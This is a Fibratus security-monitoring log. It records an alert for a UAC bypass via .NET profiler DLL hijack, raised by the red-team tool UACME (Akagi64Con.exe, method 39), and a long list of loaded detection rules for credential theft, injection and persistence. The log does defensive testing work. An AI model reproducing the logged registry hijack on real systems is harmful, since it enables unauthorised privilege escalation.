HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T18:42:05+01:00 level=info msg=bootstrapping with pid 7968. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T18:42:05+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false to=>[] use-template=>true port=>25 content-type=>text/html] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-fileio=>true enable-vamap=>true enable-net=>true flush-interval=>1s enable-threadpool=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true max-buffers=>36 enable-audit-api=>true buffer-size=>512 stack-enrichment=>true enable-dns=>false enable-thread=>true enable-mem=>false enable-registry=>true enable-handle=>false min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-backups=>15 level=>info max-age=>0 formatter=>text max-size=>100] + output ......................... [ http=>[ timeout=>5s enabled=>false endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false method=>POST serializer=>json] amqp=>[ tls-insecure-skip-verify=>false routing-key=>fibratus timeout=>5s exchange=>fibratus passive=>false delivery-mode=>transient vhost=>/ exchange-type=>topic durable=>false url=>amqp://localhost:5672 enabled=>false] elasticsearch=>[ timeout=>5s index-name=>fibratus sniff=>false healthcheck-timeout=>5s healthcheck=>true trace-log=>false enabled=>false bulk-workers=>1 servers=>[http://127.0.0.1:9200] template-name=>fibratus flush-period=>1s healthcheck-interval=>10s gzip-compression=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] enabled=>false excluded-files=>[] skip-mmaps=>false scan-timeout=>10s skip-allocs=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T18:42:05+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T18:42:08+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T18:42:20+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 5166218 + Pid: 628 + Tid: 21316 + Type: RegSetValue + CPU: 7 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-11-25 18:42:10.5377148 +0100 CET + Params: dataâžœ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handleâžœ ffffce861ccc08e0, key_pathâžœ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, statusâžœ Success, value_typeâžœ REG_SZ + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 628 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T18:42:33+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T18:42:33+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T18:42:33+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T18:43:59+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T18:43:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T18:44:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 